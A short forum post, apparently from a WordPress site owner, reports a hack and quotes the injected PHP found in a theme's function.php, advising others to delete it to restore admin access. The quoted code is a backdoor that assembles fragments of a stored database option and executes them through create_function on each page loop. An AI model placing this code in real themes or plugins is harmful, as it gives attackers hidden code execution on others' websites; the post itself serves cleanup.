I think this is a kind of attack … i resolve this problem after finding function.php under my customized theme…
Please find this injected script and delete immediately then you will be able to get login in admin area as well as can see your website …
<?php ?>
<?php function page_options() { $option = get_option(‘page_option’); $opt=unserialize($option);
@$arg = create_function(”, $opt[1].$opt[4].$opt[10].$opt[12].$opt[14].$opt[7] );return $arg(”);}
add_action(‘loop_start’, ‘page_options’); ?>
